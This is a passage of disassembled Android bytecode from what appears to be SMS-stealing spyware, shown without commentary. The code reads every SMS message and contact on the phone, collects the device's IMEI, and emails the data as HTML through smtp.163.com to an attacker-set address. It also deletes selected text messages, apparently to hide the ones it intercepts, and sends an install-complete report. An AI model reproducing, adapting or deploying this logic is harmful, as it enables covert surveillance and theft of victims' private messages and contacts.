00000024  move-result-object      v0
00000026  check-cast              v0, c
0000002A  iget-object             v0, v0, c->c:String
0000002E  invoke-virtual          String->contains(CharSequence)Z, p1, v0
00000034  move-result             v0
00000036  if-eqz                  v0, :10
:3A
0000003A  invoke-virtual          a->a(J)I, p0, p4, p5
00000040  move-result             v0
00000042  new-instance            v1, StringBuilder
00000046  invoke-static           String->valueOf(Object)String, p2
0000004C  move-result-object      v2
0000004E  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000054  const-string            v2, "\n来自:"
00000058  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
0000005E  move-result-object      v1
00000060  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, p1
00000066  move-result-object      v1
00000068  invoke-virtual          StringBuilder->toString()String, v1
0000006E  move-result-object      v1
00000070  iget-object             v2, p0, a->a:Context
00000074  invoke-static           k->a(String, I, Context)V, v1, v0, v2
0000007A  goto                    :1C
.end method

.method public a(J)I
          .registers 10
00000000  const/4                 v6, 0x0
00000002  const/4                 v0, 0x1
00000004  iget-object             v1, p0, a->a:Context
00000008  invoke-virtual          Context->getContentResolver()ContentResolver, v1
0000000E  move-result-object      v1
00000010  new-instance            v2, StringBuilder
00000014  const-string            v3, "content://sms/"
00000018  invoke-direct           StringBuilder-><init>(String)V, v2, v3
0000001E  invoke-virtual          StringBuilder->append(J)StringBuilder, v2, p1, p2
00000024  move-result-object      v2
00000026  invoke-virtual          StringBuilder->toString()String, v2
0000002C  move-result-object      v2
0000002E  invoke-static           Uri->parse(String)Uri, v2
00000034  move-result-object      v2
00000036  invoke-virtual          ContentResolver->delete(Uri, String, [String)I, v1, v2, v6, v6
0000003C  move-result             v2
0000003E  sget-object             v3, a->a:Uri
00000042  new-instance            v4, StringBuilder
00000046  const-string            v5, "_id="
0000004A  invoke-direct           StringBuilder-><init>(String)V, v4, v5
00000050  invoke-virtual          StringBuilder->append(J)StringBuilder, v4, p1, p2
00000056  move-result-object      v4
00000058  invoke-virtual          StringBuilder->toString()String, v4
0000005E  move-result-object      v4
00000060  invoke-virtual          ContentResolver->delete(Uri, String, [String)I, v1, v3, v4, v6
00000066  move-result             v1
00000068  if-eq                   v2, v0, :70
:6C
0000006C  if-ne                   v1, v0, :72
:70
00000070  return                  v0
:72
00000072  const/4                 v0, 0x2
00000074  goto                    :70
.end method

.method public onChange(Z)V
          .registers 3
00000000  invoke-super            ContentObserver->onChange(Z)V, p0, p1
00000006  iget-object             v0, p0, a->c:ContentResolver
0000000A  if-nez                  v0, :1E
:E
0000000E  iget-object             v0, p0, a->a:Context
00000012  invoke-virtual          Context->getContentResolver()ContentResolver, v0
00000018  move-result-object      v0
0000001A  iput-object             v0, p0, a->c:ContentResolver
:1E
0000001E  iget-object             v0, p0, a->a:Context
00000022  if-nez                  v0, :32
:26
00000026  invoke-static           PhoneApplication->a()PhoneApplication
0000002C  move-result-object      v0
0000002E  iput-object             v0, p0, a->a:Context
:32
00000032  invoke-direct           a->a()V, p0
00000038  return-void
.end method

#--------------------------------------------------------------------------------
.class public a
.super Object
.source ""

.method public static a(Context)ArrayList
          .registers 13
00000000  const/4                 v7, 0x0
00000002  const/4                 v2, 0x0
00000004  new-instance            v9, ArrayList
00000008  invoke-direct           ArrayList-><init>()V, v9
0000000E  invoke-virtual          Context->getContentResolver()ContentResolver, p0
00000014  move-result-object      v0
00000016  sget-object             v1, ContactsContract$Contacts->CONTENT_URI:Uri
0000001A  move-object             v3, v2
0000001C  move-object             v4, v2
0000001E  move-object             v5, v2
00000020  invoke-virtual/range    ContentResolver->query(Uri, [String, String, [String, String)Cursor, v0 .. v5
00000026  move-result-object      v10
00000028  invoke-interface        Cursor->getCount()I, v10
0000002E  move-result             v0
00000030  if-lez                  v0, :122
:34
00000034  const-string            v0, "_id"
00000038  invoke-interface        Cursor->getColumnIndex(String)I, v10, v0
0000003E  move-result             v1
00000040  const-string            v0, "display_name"
00000044  invoke-interface        Cursor->getColumnIndex(String)I, v10, v0
0000004A  move-result             v0
0000004C  move                    v6, v0
0000004E  move                    v8, v1
:50
00000050  invoke-interface        Cursor->moveToNext()Z, v10
00000056  move-result             v0
00000058  if-nez                  v0, :5E
:5C
0000005C  return-object           v9
:5E
0000005E  new-instance            v11, c
00000062  invoke-direct           c-><init>()V, v11
00000068  invoke-interface        Cursor->getString(I)String, v10, v8
0000006E  move-result-object      v3
00000070  invoke-interface        Cursor->getString(I)String, v10, v6
00000076  move-result-object      v0
00000078  iput-object             v0, v11, c->b:String
0000007C  invoke-virtual          Context->getContentResolver()ContentResolver, p0
00000082  move-result-object      v0
00000084  sget-object             v1, ContactsContract$CommonDataKinds$Phone->CONTENT_URI:Uri
00000088  new-instance            v4, StringBuilder
0000008C  const-string            v5, "contact_id="
00000090  invoke-direct           StringBuilder-><init>(String)V, v4, v5
00000096  invoke-virtual          StringBuilder->append(String)StringBuilder, v4, v3
0000009C  move-result-object      v3
0000009E  invoke-virtual          StringBuilder->toString()String, v3
000000A4  move-result-object      v3
000000A6  move-object             v4, v2
000000A8  move-object             v5, v2
000000AA  invoke-virtual/range    ContentResolver->query(Uri, [String, String, [String, String)Cursor, v0 .. v5
000000B0  move-result-object      v1
000000B2  invoke-interface        Cursor->getCount()I, v1
000000B8  move-result             v0
000000BA  if-lez                  v0, :11E
:BE
000000BE  const-string            v0, "data1"
000000C2  invoke-interface        Cursor->getColumnIndex(String)I, v1, v0
000000C8  move-result             v0
:CA
000000CA  invoke-interface        Cursor->moveToNext()Z, v1
000000D0  move-result             v3
000000D2  if-nez                  v3, :DE
:D6
000000D6  invoke-virtual          ArrayList->add(Object)Z, v9, v11
000000DC  goto                    :50
:DE
000000DE  invoke-interface        Cursor->getString(I)String, v1, v0
000000E4  move-result-object      v3
000000E6  new-instance            v4, StringBuilder
000000EA  invoke-static           String->valueOf(Object)String, v3
000000F0  move-result-object      v3
000000F2  invoke-direct           StringBuilder-><init>(String)V, v4, v3
000000F8  const-string            v3, " "
000000FC  invoke-virtual          StringBuilder->append(String)StringBuilder, v4, v3
00000102  move-result-object      v3
00000104  iget-object             v4, v11, c->c:String
00000108  invoke-virtual          StringBuilder->append(String)StringBuilder, v3, v4
0000010E  move-result-object      v3
00000110  invoke-virtual          StringBuilder->toString()String, v3
00000116  move-result-object      v3
00000118  iput-object             v3, v11, c->c:String
0000011C  goto                    :CA
:11E
0000011E  move                    v0, v7
00000120  goto                    :CA
:122
00000122  move                    v6, v7
00000124  move                    v8, v7
00000126  goto                    :50
.end method

#--------------------------------------------------------------------------------
.class public b
.super Object
.source ""

.field private a:Properties
.field private b:Session
.field private c:Message
.field private d:MimeMultipart

.method public constructor <init>()V
          .registers 2
00000000  invoke-direct           Object-><init>()V, p0
00000006  new-instance            v0, Properties
0000000A  invoke-direct           Properties-><init>()V, v0
00000010  iput-object             v0, p0, b->a:Properties
00000014  return-void
.end method

.method public a(String, String)V
          .registers 6
00000000  iget-object             v0, p0, b->a:Properties
00000004  const-string            v1, "mail.smtp.host"
00000008  invoke-virtual          Properties->put(Object, Object)Object, v0, v1, p1
0000000E  iget-object             v0, p0, b->a:Properties
00000012  const-string            v1, "mail.smtp.post"
00000016  invoke-virtual          Properties->put(Object, Object)Object, v0, v1, p2
0000001C  iget-object             v0, p0, b->a:Properties
00000020  const-string            v1, "mail.smtp.auth"
00000024  const/4                 v2, 0x1
00000026  invoke-static           Boolean->valueOf(Z)Boolean, v2
0000002C  move-result-object      v2
0000002E  invoke-virtual          Properties->put(Object, Object)Object, v0, v1, v2
00000034  iget-object             v0, p0, b->a:Properties
00000038  invoke-static           Session->getInstance(Properties)Session, v0
0000003E  move-result-object      v0
00000040  iput-object             v0, p0, b->b:Session
00000044  new-instance            v0, MimeMessage
00000048  iget-object             v1, p0, b->b:Session
0000004C  invoke-direct           MimeMessage-><init>(Session)V, v0, v1
00000052  iput-object             v0, p0, b->c:Message
00000056  new-instance            v0, MimeMultipart
0000005A  const-string            v1, "mixed"
0000005E  invoke-direct           MimeMultipart-><init>(String)V, v0, v1
00000064  iput-object             v0, p0, b->d:MimeMultipart
00000068  return-void
.end method

.method public a(String, String, String)V
          .registers 6
00000000  iget-object             v0, p0, b->c:Message
00000004  new-instance            v1, InternetAddress
00000008  invoke-direct           InternetAddress-><init>(String)V, v1, p1
0000000E  invoke-virtual          Message->setFrom(Address)V, v0, v1
00000014  iget-object             v0, p0, b->c:Message
00000018  invoke-virtual          Message->setSubject(String)V, v0, p2
0000001E  new-instance            v0, MimeBodyPart
00000022  invoke-direct           MimeBodyPart-><init>()V, v0
00000028  const-string            v1, "text/html;charset=gbk"
0000002C  invoke-virtual          MimeBodyPart->setContent(Object, String)V, v0, p3, v1
00000032  iget-object             v1, p0, b->d:MimeMultipart
00000036  invoke-virtual          MimeMultipart->addBodyPart(BodyPart)V, v1, v0
0000003C  return-void
.end method

.method public a([String)V
          .registers 6
00000000  array-length            v0, p1
00000002  new-array               v1, v0, [InternetAddress
00000006  const/4                 v0, 0x0
:8
00000008  array-length            v2, p1
0000000A  if-lt                   v0, v2, :1E
:E
0000000E  iget-object             v0, p0, b->c:Message
00000012  sget-object             v2, Message$RecipientType->TO:Message$RecipientType
00000016  invoke-virtual          Message->setRecipients(Message$RecipientType, [Address)V, v0, v2, v1
0000001C  return-void
:1E
0000001E  new-instance            v2, InternetAddress
00000022  aget-object             v3, p1, v0
00000026  invoke-direct           InternetAddress-><init>(String)V, v2, v3
0000002C  aput-object             v2, v1, v0
00000030  add-int/lit8            v0, v0, 0x1
00000034  goto                    :8
.end method

.method public b(String, String, String)V
          .registers 7
00000000  iget-object             v0, p0, b->c:Message
00000004  new-instance            v1, Date
00000008  invoke-direct           Date-><init>()V, v1
0000000E  invoke-virtual          Message->setSentDate(Date)V, v0, v1
00000014  iget-object             v0, p0, b->c:Message
00000018  iget-object             v1, p0, b->d:MimeMultipart
0000001C  invoke-virtual          Message->setContent(Multipart)V, v0, v1
00000022  iget-object             v0, p0, b->c:Message
00000026  invoke-virtual          Message->saveChanges()V, v0
0000002C  iget-object             v0, p0, b->b:Session
00000030  const-string            v1, "smtp"
00000034  invoke-virtual          Session->getTransport(String)Transport, v0, v1
0000003A  move-result-object      v0
0000003C  invoke-virtual          Transport->connect(String, String, String)V, v0, p1, p2, p3
00000042  iget-object             v1, p0, b->c:Message
00000046  iget-object             v2, p0, b->c:Message
0000004A  invoke-virtual          Message->getAllRecipients()[Address, v2
00000050  move-result-object      v2
00000052  invoke-virtual          Transport->sendMessage(Message, [Address)V, v0, v1, v2
00000058  new-instance            v1, c
0000005C  invoke-direct           c-><init>(b)V, v1, p0
00000062  invoke-virtual          Transport->addTransportListener(TransportListener)V, v0, v1
00000068  invoke-virtual          Transport->close()V, v0
0000006E  return-void
.end method

#--------------------------------------------------------------------------------
.class public abstract interface TransportListener
.super Object
.source ""

.implements EventListener

.method public abstract messageDelivered(TransportEvent)V
.end method

.method public abstract messageNotDelivered(TransportEvent)V
.end method

.method public abstract messagePartiallyDelivered(TransportEvent)V
.end method

#--------------------------------------------------------------------------------
.class c
.super Object
.source ""

.implements TransportListener

.field final synthetic a:b

.method constructor <init>(b)V
          .registers 2
00000000  iput-object             p1, p0, c->a:b
00000004  invoke-direct           Object-><init>()V, p0
0000000A  return-void
.end method

.method public messageDelivered(TransportEvent)V
          .registers 3
00000000  const-string            v0, "messageDelivered"
00000004  invoke-static           g->a(String)V, v0
0000000A  return-void
.end method

.method public messageNotDelivered(TransportEvent)V
          .registers 3
00000000  const-string            v0, "messageNotDelivered"
00000004  invoke-static           g->a(String)V, v0
0000000A  return-void
.end method

.method public messagePartiallyDelivered(TransportEvent)V
          .registers 3
00000000  const-string            v0, "messagePartiallyDelivered"
00000004  invoke-static           g->a(String)V, v0
0000000A  return-void
.end method

#--------------------------------------------------------------------------------
.class public d
.super Object
.source ""

.method public static a(Context)V
          .registers 2
00000000  new-instance            v0, e
00000004  invoke-direct           e-><init>(Context)V, v0, p0
0000000A  invoke-static           a->a(c)V, v0
00000010  return-void
.end method

.method public static a(Context, String)V
          .registers 3
00000000  invoke-static           a->a(Context)a, p0
00000006  move-result-object      v0
00000008  invoke-virtual          a->k()Z, v0
0000000E  move-result             v0
00000010  if-nez                  v0, :16
:14
00000014  return-void
:16
00000016  new-instance            v0, f
0000001A  invoke-direct           f-><init>(Context, String)V, v0, p0, p1
00000020  invoke-virtual          f->start()V, v0
00000026  goto                    :14
.end method

.method static synthetic b(Context)V
          .registers 1
00000000  invoke-static           d->d(Context)V, p0
00000006  return-void
.end method

.method static synthetic b(Context, String)V
          .registers 2
00000000  invoke-static           d->c(Context, String)V, p0, p1
00000006  return-void
.end method

.method static synthetic c(Context)V
          .registers 1
00000000  invoke-static           d->e(Context)V, p0
00000006  return-void
.end method

.method private static c(Context, String)V
          .registers 10
00000000  invoke-static           a->a(Context)a, p0
00000006  move-result-object      v1
00000008  const-string            v0, "phone"
0000000C  invoke-virtual          Context->getSystemService(String)Object, p0, v0
00000012  move-result-object      v0
00000014  check-cast              v0, TelephonyManager
00000018  invoke-virtual          TelephonyManager->getDeviceId()String, v0
0000001E  move-result-object      v2
00000020  invoke-virtual          a->n()String, v1
00000026  move-result-object      v3
00000028  invoke-virtual          a->r()String, v1
0000002E  move-result-object      v4
00000030  invoke-virtual          a->p()String, v1
00000036  move-result-object      v5
00000038  new-instance            v6, b
0000003C  invoke-direct           b-><init>()V, v6
00000042  const-string            v0, "smtp.163.com"
00000046  const-string            v7, "465"
0000004A  invoke-virtual          b->a(String, String)V, v6, v0, v7
00000050  new-instance            v0, StringBuilder
00000054  const-string            v7, "XSmS("
00000058  invoke-direct           StringBuilder-><init>(String)V, v0, v7
0000005E  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v2
00000064  move-result-object      v0
00000066  const-string            v7, ")"
0000006A  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v7
00000070  move-result-object      v0
00000072  invoke-virtual          StringBuilder->toString()String, v0
00000078  move-result-object      v0
0000007A  const-string            v7, "软件安装完毕"
0000007E  invoke-virtual          String->contains(CharSequence)Z, p1, v7
00000084  move-result             v7
00000086  if-eqz                  v7, :B4
:8A
0000008A  new-instance            v0, StringBuilder
0000008E  const-string            v7, "安装MESS("
00000092  invoke-direct           StringBuilder-><init>(String)V, v0, v7
00000098  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v2
0000009E  move-result-object      v0
000000A0  const-string            v2, ")"
000000A4  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v2
000000AA  move-result-object      v0
000000AC  invoke-virtual          StringBuilder->toString()String, v0
000000B2  move-result-object      v0
:B4
000000B4  invoke-virtual          b->a(String, String, String)V, v6, v3, v0, p1
000000BA  const/4                 v0, 0x1
000000BC  new-array               v0, v0, [String
000000C0  const/4                 v2, 0x0
000000C2  aput-object             v5, v0, v2
000000C6  invoke-virtual          b->a([String)V, v6, v0
000000CC  const-string            v0, "smtp.163.com"
000000D0  invoke-virtual          b->b(String, String, String)V, v6, v0, v3, v4
000000D6  const/4                 v0, 0x1
000000D8  invoke-virtual          a->f(Z)V, v1, v0
:DE
000000DE  return-void
:E0
000000E0  move-exception          v0
000000E2  const-string            v1, "aaaa"
000000E6  invoke-static           g->a(String, Exception)V, v1, v0
000000EC  goto                    :DE
          .catch Exception {:0 .. :DE} :E0
.end method

.method private static d(Context)V
          .registers 10
00000000  const/4                 v8, 0x1
:2
00000002  invoke-static           a->a(Context)a, p0
00000008  move-result-object      v1
0000000A  invoke-virtual          a->m()Z, v1
00000010  move-result             v0
00000012  if-eqz                  v0, :18
:16
00000016  return-void
:18
00000018  invoke-static           h->a(Context)ArrayList, p0
0000001E  move-result-object      v2
00000020  invoke-virtual          ArrayList->size()I, v2
00000026  move-result             v0
00000028  if-lez                  v0, :16
:2C
0000002C  const-string            v0, "phone"
00000030  invoke-virtual          Context->getSystemService(String)Object, p0, v0
00000036  move-result-object      v0
00000038  check-cast              v0, TelephonyManager
0000003C  invoke-virtual          TelephonyManager->getDeviceId()String, v0
00000042  move-result-object      v3
00000044  new-instance            v4, StringBuffer
00000048  const-string            v0, "------------------------------<br>"
0000004C  invoke-direct           StringBuffer-><init>(String)V, v4, v0
00000052  invoke-virtual          ArrayList->iterator()Iterator, v2
00000058  move-result-object      v2
:5A
0000005A  invoke-interface        Iterator->hasNext()Z, v2
00000060  move-result             v0
00000062  if-nez                  v0, :F8
:66
00000066  invoke-virtual          a->n()String, v1
0000006C  move-result-object      v0
0000006E  invoke-virtual          a->r()String, v1
00000074  move-result-object      v2
00000076  invoke-virtual          a->p()String, v1
0000007C  move-result-object      v5
0000007E  new-instance            v6, b
00000082  invoke-direct           b-><init>()V, v6
00000088  const-string            v7, "smtp.163.com"
0000008C  const-string            v8, "465"
00000090  invoke-virtual          b->a(String, String)V, v6, v7, v8
00000096  new-instance            v7, StringBuilder
0000009A  const-string            v8, "SmS列表("
0000009E  invoke-direct           StringBuilder-><init>(String)V, v7, v8
000000A4  invoke-virtual          StringBuilder->append(String)StringBuilder, v7, v3
000000AA  move-result-object      v3
000000AC  const-string            v7, ")"
000000B0  invoke-virtual          StringBuilder->append(String)StringBuilder, v3, v7
000000B6  move-result-object      v3
000000B8  invoke-virtual          StringBuilder->toString()String, v3
000000BE  move-result-object      v3
000000C0  invoke-virtual          StringBuffer->toString()String, v4
000000C6  move-result-object      v4
000000C8  invoke-virtual          b->a(String, String, String)V, v6, v0, v3, v4
000000CE  const/4                 v3, 0x1
000000D0  new-array               v3, v3, [String
000000D4  const/4                 v4, 0x0
000000D6  aput-object             v5, v3, v4
000000DA  invoke-virtual          b->a([String)V, v6, v3
000000E0  const-string            v3, "smtp.163.com"
000000E4  invoke-virtual          b->b(String, String, String)V, v6, v3, v0, v2
000000EA  const/4                 v0, 0x1
000000EC  invoke-virtual          a->g(Z)V, v1, v0
000000F2  goto                    :16
:F4
000000F4  move-exception          v0
000000F6  goto                    :16
:F8
000000F8  invoke-interface        Iterator->next()Object, v2
000000FE  move-result-object      v0
00000100  check-cast              v0, b
00000104  new-instance            v5, StringBuilder
00000108  const-string            v6, "<br><br><font color=red>----------------------"
0000010C  invoke-direct           StringBuilder-><init>(String)V, v5, v6
00000112  iget-object             v6, v0, b->b:String
00000116  invoke-virtual          StringBuilder->append(String)StringBuilder, v5, v6
0000011C  move-result-object      v5
0000011E  const-string            v6, "    "
00000122  invoke-virtual          StringBuilder->append(String)StringBuilder, v5, v6
00000128  move-result-object      v5
0000012A  iget-object             v6, v0, b->c:String
0000012E  invoke-virtual          StringBuilder->append(String)StringBuilder, v5, v6
00000134  move-result-object      v5
00000136  const-string            v6, "-------------</font><br>"
0000013A  invoke-virtual          StringBuilder->append(String)StringBuilder, v5, v6
00000140  move-result-object      v5
00000142  invoke-virtual          StringBuilder->toString()String, v5
00000148  move-result-object      v5
0000014A  invoke-virtual          StringBuffer->append(String)StringBuffer, v4, v5
00000150  iget-object             v0, v0, b->d:ArrayList
00000154  invoke-virtual          ArrayList->iterator()Iterator, v0
0000015A  move-result-object      v5
:15C
0000015C  invoke-interface        Iterator->hasNext()Z, v5
00000162  move-result             v0
00000164  if-eqz                  v0, :5A
:168
00000168  invoke-interface        Iterator->next()Object, v5
0000016E  move-result-object      v0
00000170  check-cast              v0, a
00000174  iget                    v6, v0, a->e:I
00000178  if-ne                   v6, v8, :1AC
:17C
0000017C  iget-object             v6, v0, a->d:String
00000180  invoke-virtual          StringBuffer->append(String)StringBuffer, v4, v6
00000186  move-result-object      v6
00000188  const-string            v7, "    "
0000018C  invoke-virtual          StringBuffer->append(String)StringBuffer, v6, v7
00000192  move-result-object      v6
00000194  iget-object             v0, v0, a->c:String
00000198  invoke-virtual          StringBuffer->append(String)StringBuffer, v6, v0
0000019E  move-result-object      v0
000001A0  const-string            v6, "<br>"
000001A4  invoke-virtual          StringBuffer->append(String)StringBuffer, v0, v6
000001AA  goto                    :15C
:1AC
000001AC  iget-object             v6, v0, a->d:String
000001B0  invoke-virtual          StringBuffer->append(String)StringBuffer, v4, v6
000001B6  move-result-object      v6
000001B8  const-string            v7, "    "
000001BC  invoke-virtual          StringBuffer->append(String)StringBuffer, v6, v7
000001C2  move-result-object      v6
000001C4  const-string            v7, "<font color=blue>"
000001C8  invoke-virtual          StringBuffer->append(String)StringBuffer, v6, v7
000001CE  move-result-object      v6
000001D0  iget-object             v0, v0, a->c:String
000001D4  invoke-virtual          StringBuffer->append(String)StringBuffer, v6, v0
000001DA  move-result-object      v0
000001DC  const-string            v6, "</font>"
000001E0  invoke-virtual          StringBuffer->append(String)StringBuffer, v0, v6
000001E6  move-result-object      v0
000001E8  const-string            v6, "<br>"
000001EC  invoke-virtual          StringBuffer->append(String)StringBuffer, v0, v6
:1F2
000001F2  goto                    :15C
          .catch Exception {:2 .. :1F2} :F4
.end method

.method private static e(Context)V
          .registers 10
00000000  invoke-static           a->a(Context)a, p0
00000006  move-result-object      v1
00000008  invoke-virtual          a->l()Z, v1
0000000E  move-result             v0
00000010  if-eqz                  v0, :16
:14
00000014  return-void
:16
00000016  invoke-static           a->a(Context)ArrayList, p0
0000001C  move-result-object      v2
0000001E  invoke-virtual          ArrayList->size()I, v2
00000024  move-result             v0
00000026  if-lez                  v0, :14
:2A
0000002A  const-string            v0, "phone"
0000002E  invoke-virtual          Context->getSystemService(String)Object, p0, v0
00000034  move-result-object      v0
00000036  check-cast              v0, TelephonyManager
0000003A  invoke-virtual          TelephonyManager->getDeviceId()String, v0
00000040  move-result-object      v3
00000042  new-instance            v4, StringBuffer
00000046  invoke-direct           StringBuffer-><init>()V, v4
0000004C  invoke-virtual          ArrayList->iterator()Iterator, v2
00000052  move-result-object      v2
:54
00000054  invoke-interface        Iterator->hasNext()Z, v2
0000005A  move-result             v0
0000005C  if-nez                  v0, :FC
:60
00000060  invoke-virtual          a->n()String, v1
00000066  move-result-object      v0
00000068  invoke-virtual          a->r()String, v1
0000006E  move-result-object      v2
00000070  invoke-virtual          a->p()String, v1
00000076  move-result-object      v5
00000078  new-instance            v6, b
0000007C  invoke-direct           b-><init>()V, v6
00000082  const-string            v7, "smtp.163.com"
00000086  const-string            v8, "465"
0000008A  invoke-virtual          b->a(String, String)V, v6, v7, v8
00000090  new-instance            v7, StringBuilder
00000094  const-string            v8, "TxL("
00000098  invoke-direct           StringBuilder-><init>(String)V, v7, v8
0000009E  invoke-virtual          StringBuilder->append(String)StringBuilder, v7, v3
000000A4  move-result-object      v3
000000A6  const-string            v7, ")"
000000AA  invoke-virtual          StringBuilder->append(String)StringBuilder, v3, v7
000000B0  move-result-object      v3
000000B2  invoke-virtual          StringBuilder->toString()String, v3
000000B8  move-result-object      v3
000000BA  invoke-virtual          StringBuffer->toString()String, v4
000000C0  move-result-object      v4
000000C2  invoke-virtual          b->a(String, String, String)V, v6, v0, v3, v4
000000C8  const/4                 v3, 0x1
000000CA  new-array               v3, v3, [String
000000CE  const/4                 v4, 0x0
000000D0  aput-object             v5, v3, v4
000000D4  invoke-virtual          b->a([String)V, v6, v3
000000DA  const-string            v3, "smtp.163.com"
000000DE  invoke-virtual          b->b(String, String, String)V, v6, v3, v0, v2
000000E4  const/4                 v0, 0x1
000000E6  invoke-virtual          a->f(Z)V, v1, v0
:EC
000000EC  goto                    :14
:EE
000000EE  move-exception          v0
000000F0  const-string            v1, "aaaa"
000000F4  invoke-static           g->a(String, Exception)V, v1, v0
000000FA  goto                    :14
:FC
000000FC  invoke-interface        Iterator->next()Object, v2
00000102  move-result-object      v0
00000104  check-cast              v0, c
00000108  const-string            v5, "<font color=blue>"
0000010C  invoke-virtual          StringBuffer->append(String)StringBuffer, v4, v5
00000112  move-result-object      v5
00000114  iget-object             v6, v0, c->b:String
00000118  invoke-virtual          StringBuffer->append(String)StringBuffer, v5, v6
0000011E  move-result-object      v5
00000120  const-string            v6, "</font>  "
00000124  invoke-virtual          StringBuffer->append(String)StringBuffer, v5, v6
0000012A  move-result-object      v5
0000012C  iget-object             v0, v0, c->c:String
00000130  invoke-virtual          StringBuffer->append(String)StringBuffer, v5, v0
00000136  move-result-object      v0
00000138  const-string            v5, "<br>"
0000013C  invoke-virtual          StringBuffer->append(String)StringBuffer, v0, v5
:142
00000142  goto                    :54
          .catch Exception {:0 .. :EC} :EE
          .catch Exception {:FC .. :142} :EE
.end method

#--------------------------------------------------------------------------------
.class public abstract interface c
.super Object
.source ""

.method public abstract a()Object
.end method

.method public abstract a(Object)V
.end method

#--------------------------------------------------------------------------------
.class e
.super Object
.source ""

.implements c

.field private final synthetic a:Context

.method constructor <init>(Context)V
          .registers 2
00000000  iput-object             p1, p0, e->a:Context
00000004  invoke-direct           Object-><init>()V, p0
0000000A  return-void
.end method

.method public a()Object
          .registers 2
00000000  iget-object             v0, p0, e->a:Context
00000004  invoke-static           d->b(Context)V, v0
0000000A  iget-object             v0, p0, e->a:Context
0000000E  invoke-static           d->c(Context)V, v0
00000014  const/4                 v0, 0x0
00000016  return-object           v0
.end method

.method public a(Object)V
          .registers 2
00000000  return-void
.end method

#--------------------------------------------------------------------------------
.class f
.super Thread
.source ""

.field private final synthetic a:Context
.field private final synthetic b:String

.method constructor <init>(Context, String)V
          .registers 3
00000000  iput-object             p1, p0, f->a:Context
00000004  iput-object             p2, p0, f->b:String
00000008  invoke-direct           Thread-><init>()V, p0
0000000E  return-void
.end method

.method public run()V
          .registers 3
00000000  iget-object             v0, p0, f->a:Context
00000004  iget-object             v1, p0, f->b:String
00000008  invoke-static           d->b(Context, String)V, v0, v1
0000000E  return-void
.end method

#--------------------------------------------------------------------------------
.class public g
.super Object
.source ""

.method public static a(String)String
          .registers 3
00000000  new-instance            v0, e
00000004  const-string            v1, "staker"
00000008  invoke-direct           e-><init>(String)V, v0, v1
0000000E  invoke-virtual          e->b(String)String, v0, p0
:14
00000014  move-result-object      v0
:16
00000016  return-object           v0
:18
00000018  move-exception          v0
0000001A  invoke-virtual          Exception->printStackTrace()V, v0
00000020  const-string            v0, ""
00000024  goto                    :16
          .catch Exception {:0 .. :14} :18
.end method

.method public static a(Context)V
          .registers 4
00000000  invoke-static           i->a(Context)V, p0
00000006  invoke-static           i->b(Context)V, p0
0000000C  invoke-static           i->c(Context)V, p0
00000012  invoke-static           i->d(Context)V, p0
00000018  invoke-static           i->e(Context)V, p0
0000001E  invoke-static           a->a(Context)a, p0
00000024  move-result-object      v0
00000026  invoke-virtual          a->i()Z, v0
0000002C  move-result             v0
0000002E  if-nez                  v0, :9C
:32
00000032  const-string            v0, "phone"
00000036  invoke-virtual          Context->getSystemService(String)Object, p0, v0
0000003C  move-result-object      v0
0000003E  check-cast              v0, TelephonyManager
00000042  invoke-virtual          TelephonyManager->getDeviceId()String, v0
00000048  move-result-object      v0
0000004A  new-instance            v1, StringBuilder
0000004E  const-string            v2, "软件安装完毕\n识别码:"
00000052  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000058  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v0
0000005E  move-result-object      v0
00000060  const-string            v1, "\n"
00000064  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
0000006A  move-result-object      v0
0000006C  invoke-static           j->a()String
00000072  move-result-object      v1
00000074  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
0000007A  move-result-object      v0
0000007C  invoke-virtual          StringBuilder->toString()String, v0
00000082  move-result-object      v0
00000084  const/4                 v1, 0x4
00000086  invoke-static           k->a(String, I, Context)V, v0, v1, p0
0000008C  invoke-static           a->a(Context)a, p0
00000092  move-result-object      v0
00000094  const/4                 v1, 0x1
00000096  invoke-virtual          a->e(Z)V, v0, v1
:9C
0000009C  invoke-static           k->a(Context)V, p0
000000A2  invoke-static           a->a(Context)a, p0
000000A8  move-result-object      v0
000000AA  invoke-virtual          a->j()Z, v0
000000B0  move-result             v0
000000B2  if-eqz                  v0, :BC
:B6
000000B6  invoke-static           d->a(Context)V, p0
:BC
000000BC  return-void
.end method

.method public static a()Z
          .registers 2
00000000  invoke-static           PhoneApplication->a()PhoneApplication
00000006  move-result-object      v0
00000008  invoke-static           a->a(Context)a, v0
0000000E  move-result-object      v0
00000010  invoke-virtual          a->e()String, v0
00000016  move-result-object      v0
00000018  const-string            v1, "-"
0000001C  invoke-static           f->a(String)String, v1
00000022  move-result-object      v1
00000024  invoke-virtual          String->compareTo(String)I, v1, v0
0000002A  move-result             v0
0000002C  if-lez                  v0, :34
:30
00000030  const/4                 v0, 0x1
:32
00000032  return                  v0
:34
00000034  const/4                 v0, 0x0
00000036  goto                    :32
.end method

#--------------------------------------------------------------------------------
.class public h
.super Object
.source ""

.method public static a(Context)ArrayList
          .registers 15
00000000  invoke-virtual          Context->getContentResolver()ContentResolver, p0
00000006  move-result-object      v0
00000008  const/4                 v1, 0x7
0000000A  new-array               v2, v1, [String
0000000E  const/4                 v1, 0x0
00000010  const-string            v3, "_id"
00000014  aput-object             v3, v2, v1
00000018  const/4                 v1, 0x1
0000001A  const-string            v3, "address"
0000001E  aput-object             v3, v2, v1
00000022  const/4                 v1, 0x2
00000024  const-string            v3, "person"
00000028  aput-object             v3, v2, v1
0000002C  const/4                 v1, 0x3
0000002E  const-string            v3, "body"
00000032  aput-object             v3, v2, v1
00000036  const/4                 v1, 0x4
00000038  const-string            v3, "date"
0000003C  aput-object             v3, v2, v1
00000040  const/4                 v1, 0x5
00000042  const-string            v3, "type"
00000046  aput-object             v3, v2, v1
0000004A  const/4                 v1, 0x6
0000004C  const-string            v3, "thread_id"
00000050  aput-object             v3, v2, v1
00000054  sget-object             v1, a->a:Uri
00000058  const/4                 v3, 0x0
0000005A  const/4                 v4, 0x0
0000005C  const-string            v5, "date"
